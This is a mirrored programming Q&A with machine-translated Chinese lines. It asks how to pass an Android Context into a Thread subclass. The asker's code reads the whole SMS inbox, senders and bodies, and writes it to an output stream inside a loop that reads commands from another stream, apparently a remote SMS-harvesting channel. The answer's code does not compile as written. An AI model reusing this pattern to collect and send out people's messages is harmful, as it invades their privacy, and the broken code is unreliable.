简体   繁体   English

从类传递上下文扩展线程

[英]Passing context from class extends thread

Before, I was using kelas1 extends Service , and my code worked for read inbox. 以前,我使用kelas1 extends Service ,并且我的代码适用于读取收件箱。 But I don't know how to get this to work if my class is using kelas1 extends thread . 但是,如果我的班级使用kelas1 extends thread我不知道如何kelas1 extends thread工作。

sms.inbox(kelas1.this,localDataOutputStream);

And this is my code: 这是我的代码:

kelas1.java kelas1.java

public class kelas1 extends Thread {
public void run() {
    //code
    while (true) {

        charsRead = in.read(buffer);
        if (charsRead != 1) {
            String message = new String(buffer).substring(0, charsRead).replace(System.getProperty("line.separator"),"");
            Log.d("wew", message);

                // this is my problem
            sms.inbox(kelas1.this,localDataOutputStream);
    }

}

readsms.java readsms.java

public class readsms {

    public void inbox(Context context, DataOutputStream outstr) throws IOException{
        Uri uriSMSURI = Uri.parse("content://sms/inbox");

          Cursor cur = context.getContentResolver().query(uriSMSURI, null, null, null,null);
          String sms = "";
          int body = cur.getColumnIndex("body");
          while (cur.moveToNext()) {
              sms += "Dari :" + cur.getString(2) + " : " + cur.getString(body);         
          }
          Log.d("wew", sms);
          sms = sms + "\nbaca sms selesai";
          outstr.writeBytes(sms);
    }
}

You need a context of activity class, so you need one constructor in kelas1 您需要活动类的上下文,因此在kelas1需要一个构造kelas1

Context context;

public kelas1(Context context)
{
   this.context = context;
}

then in your code you must use this context like: 然后在您的代码中,您必须使用以下上下文:

     sms.inbox(context,localDataOutputStream);

Change your code up top to something like: 将您的代码更改为类似以下内容:

final Context context;
public class kelas1 extends Activity {

   public kelas1(Context context)
    {
       this.context = context;
       call_thread();   
    }

public void call_thread(){
        new Thread(new Runnable(){
         public void run() {
            while (true) {
                charsRead = in.read(buffer);
                if (charsRead != 1) {
                    String message = new String(buffer).substring(0, charsRead).replace(System.getProperty("line.separator"),"");
                    Log.d("wew", message);

                    // this is my problem
                        sms.inbox(this.context,localDataOutputStream);
                }
              }
           }).start();

        }
    }

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM